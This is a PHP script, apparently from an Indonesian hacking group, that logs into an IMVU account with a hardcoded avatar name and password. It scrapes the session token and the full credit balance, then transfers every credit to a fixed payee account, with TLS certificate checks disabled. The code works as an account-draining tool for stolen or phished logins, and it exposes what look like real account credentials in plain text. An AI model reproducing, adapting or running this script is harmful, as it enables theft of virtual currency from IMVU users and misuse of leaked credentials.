Auto Send Credits Imvu

<?php
//Tu5b0l3d -indoXploit-
@set_time_limit(0);
@error_reporting(0);


$user = "dkingpopa";
$password = "elinay2424";


function login($user, $pass) {
    $ch = curl_init();
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_URL, "https://secure.imvu.com/login/login/");
      curl_setopt($ch, CURLOPT_POST, true);
      curl_setopt($ch, CURLOPT_POSTFIELDS, array(
        "sauce" => "",
        "avatarname" => "$user",
        "password" => "$pass",
        "sendto" => "",
        ));
      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
     curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
    curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
      curl_setopt($ch, CURLOPT_COOKIESESSION, true);
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
return curl_exec($ch);
      curl_close($ch);
}
function ambil_data($url, $param){
            $ch = curl_init ("$url");
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
        curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
        $data6 = curl_exec ($ch);

       preg_match("/$param/", $data6, $data);
       return $data[1];
}

function kirim_cr($url, $data){

$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data6 = curl_exec ($ch);
return $data6;
}

$login = login($user, $password);
if(!preg_match("/invalid avatar name or password/", $login)) {
  echo "yes\n";
    $url = "https://secure.imvu.com/catalog/web_give_av.php";
        $param = "<input type='hidden' name='sauce' value='(.*?)'\/>";
        $credit = "<strong id=\"credits_real_value\"><span class=\"notranslate\">(.*?)<\/span><\/strong>";
        $sauce = ambil_data($url, $param);
    echo "$sauce\n";
        $cr2 = ambil_data($url, $credit);
    $cr = str_replace(",", "", $cr2);
    echo "$cr\n";
        $bleh = array(
                "sauce" => "$sauce",
                "action" => "process",
                "confirm_password" => "$password",
                "payee" => "clarrisaearl",
                "payment_amount" => "$cr",
                "greeting" => "Auto Send Credits by Agus Setya R",
        "Give" => "give_av",
        "confirm_button" => "Yes, confirm the credit transfer",
                );
        $kirim = kirim_cr($url, $bleh);
     echo $kirim;
}
else{
  echo "gagal";
}
?>